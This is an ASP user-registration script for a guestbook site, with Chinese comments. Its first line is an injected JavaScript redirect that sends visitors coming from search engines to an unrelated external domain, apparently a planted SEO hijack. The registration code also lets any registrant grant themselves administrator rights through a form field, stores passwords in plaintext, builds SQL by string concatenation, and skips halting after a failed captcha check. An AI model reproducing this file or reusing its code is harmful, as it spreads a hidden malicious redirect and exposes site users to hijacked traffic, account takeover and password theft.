d:\wwwroot\wuchunhua\liuyan\addmember.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'检查用户名格式是否正确
003:
Function CheckUserName(uname)
004:
CheckUserName = TRUE
005:
Dim count
006:
Dim sstr(15)
007:
Dim lUserName
008:
Dim AscValue
009:
lUserName = LCase(uname)
010:
011:
'提取每一个字符,存储到数组中
012:
count = Len(lUserName)
013:
For i=1 To count
014:
sstr(i) = Mid(lUserName,i,1)
015:
Next
016:
017:
'依次检验每个字符,必须为字母、数字、或者下划线
018:
For i=1 To count
019:
AscValue = Asc(sstr(i))
020:
If (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) AND AscValue <> 95 Then
021:
CheckUserName = FALSE
022:
Exit For
023:
End If
024:
Next
025:
026:
End Function
027:
028:
'检查密码格式是否正确
029:
Function CheckPass(upass)
030:
CheckPass = TRUE
031:
Dim count
032:
Dim sstr(15)
033:
Dim lupass
034:
Dim AscValue
035:
lupass = LCase(upass)
036:
037:
'提取每一个字符,存储到数组中
038:
count = Len(lupass)
039:
For i=1 To count
040:
sstr(i) = Mid(lupass,i,1)
041:
Next
042:
043:
'依次检验每个字符,必须为字母或者数字
044:
For i=1 To count
045:
AscValue = Asc(sstr(i))
046:
if (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) Then
047:
CheckPass = FALSE
048:
Exit For
049:
End If
050:
Next
051:
052:
End Function
053:
054:
'定义变量,以便获取表单参数
055:
Dim UserName, Password, Password2, RealName, Email, Url, Comment, RegCode, UserClass
056:
057:
UserName = Request.Form("name")'用户名
058:
Password = Request.Form("passwd")'用户密码
059:
Password2 = Request.Form("passwd2")'用户确认密码
060:
RegCode = Request.Form("RegCode")'用户验证码
061:
RealName = Request.Form("realname")'用户姓名
062:
Email = Request.Form("Email")'用户电子邮件地址
063:
Comment = Request.Form("Comment")'用户自我介绍
064:
UserClass = Request.Form("Authority")'用户级别
065:
Url = Request.Form("Url")'用户主页地址
066:
067:
'对所获得的表单参数进行有效性验证
068:
'用户名不能为空,且只能由有效字符组成
069:
If UserName = EMPTY Then
070:
Response.Redirect "register.asp?ErrMsg=请填写用户名"
071:
Response.End()
072:
End If
073:
074:
'用户帐号不可以超过 15 个字符
075:
If Len(UserName) >15 Then
076:
Response.Redirect "register.asp?ErrMsg=用户名不可以超过 15 个字符"
077:
Response.End()
078:
End If
079:
080:
'用户帐号格式必须正确
081:
If NOT(CheckUserName(UserName)) Then
082:
Response.Redirect "register.asp?ErrMsg=用户帐号应该由英文字母,数字或下划线组成"
083:
Response.End()
084:
End If
085:
086:
'密码不能为空
087:
If Password = EMPTY Then
088:
Response.Redirect "register.asp?ErrMsg=请填写用户密码"
089:
Response.End()
090:
End If
091:
092:
'密码不可以超过 15 个字符
093:
If Len(Password) > 15 Then
094:
Response.Redirect "register.asp?ErrMsg=用户密码不可以超过 15 个字符"
095:
Response.End()
096:
End If
097:
098:
'密码格式必须正确
099:
If NOT(CheckPass(Password)) Then
100:
Response.Redirect "register.asp?ErrMsg=用户密码由字母和数字组成"
101:
Response.End()
102:
End If
103:
104:
'密码确认字段不能为空
105:
If Password2 = EMPTY Then
106:
Response.Redirect "register.asp?ErrMsg=请填写密码确认字段"
107:
Response.End()
108:
End If
109:
110:
'两次密码输入必须一致
111:
If Password <> Password2 Then
112:
Response.Redirect "register.asp?ErrMsg=密码确认字段与用户密码字段不一致"
113:
Response.End()
114:
End If
115:
116:
'验证码不能为空
117:
If RegCode = EMPTY Then
118:
Response.Redirect "register.asp?ErrMsg=请填写验证码"
119:
Response.End()
120:
End If
121:
122:
'检查验证码是否正确
123:
If RegCode<> Session("RegCode") Then
124:
Response.Redirect "register.asp?ErrMsg=验证码不正确"
125:
End If
126:
127:
'真实姓名必填
128:
If RealName = EMPTY Then
129:
Response.Redirect "register.asp?ErrMsg=请填写真实姓名"
130:
Response.End()
131:
End If
132:
133:
'EMail必填
134:
If Email = EMPTY Then
135:
Response.Redirect "register.asp?ErrMsg=请填写电子邮件地址"
136:
Response.End()
137:
End If
138:
139:
'必须输入格式正确的EMail地址
140:
If InStr(Email,"@") = 0 Then
141:
Response.Redirect "register.asp?ErrMsg=请填写正确的电子邮件地址"
142:
Response.End()
143:
End If
144:
145:
'定义数据库连接对象,记录集对象,字符串对象
146:
Dim objConn,objRS,strSQL
147:
148:
'初始化数据库连接
149:
DB="./Board/database/BOARD.mdb"
150:
Set objConn = Server.CreateObject("ADODB.Connection")
151:
objConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
152:
'打开数据库连接
153:
objConn.Open
154:
155:
'SQL语句
156:
strSQL = "SELECT * FROM MEMBER Where NAME='" & UserName & "'"
157:
158:
'打开数据集
159:
Set objRS = Server.CreateObject("ADODB.Recordset")
160:
objRS.Open strSQL, objConn, 1, 3, 1
161:
162:
'如果数据库为空,则表示用户名不存在,可以注册
163:
If objRS.EOF Then
164:
'添加管理员
165:
If UserClass = "2" Then
166:
objRS.AddNew Array("NAME", "PASSWORD", "REALNAME", "EMAIL", "URL", "COMMENT", "CLASS"), _
167:
Array(UserName, Password, RealName, Email, Url, Comment, 2)
168:
Else '添加普通用户
169:
objRS.AddNew Array("NAME", "PASSWORD", "REALNAME", "EMAIL", "URL", "COMMENT"), _
170:
Array(UserName, Password, RealName, Email, Url, Comment)
171:
End If
172:
173:
'更新数据库,插入数据
174:
objRS.Update
175:
176:
'关闭连接
177:
objRS.Close
178:
179:
'重新打开数据库
180:
objRS.Open strSQL, objConn, 1, 3, 1
181:
182:
'获取用户信息,并将这些信息写入Session
183:
If Session("IsPassed") <> TRUE Then
184:
Session("Id") = CStr(objRS.Fields("ID"))
185:
Session("Name")=UserName
186:
Session("IsPassed") = TRUE
187:
If UserClass = "2" Then
188:
Session("IsAdmin") = TRUE
189:
Session("Class") = "2"
190:
Else
191:
Session("IsAdmin") = FALSE
192:
Session("Class") = "9"
193:
End If
194:
End If
195:
196:
'关闭数据集和数据库连接,并释放对象
197:
objRS.Close
198:
Set objRS = Nothing
199:
objConn.Close
200:
Set objConn = Nothing
201:
202:
'重导向到系统主页面
203:
Response.Redirect "index.asp"
204:
Response.End()
205:
206:
Else
207:
'提示用户所选择的帐号已存在,并退回上一页
208:
%
>
209:
<html>
210:
<body>
211:
<script language="vbscript">
212:
<!--
213:
Window.alert "您所使用的帐号已经被他人注册了,请使用其他帐号。"
214:
History.back
215:
-->
216:
</script>
217:
</body>
218:
</html>
219:
<%
End If
%
>
220:
221: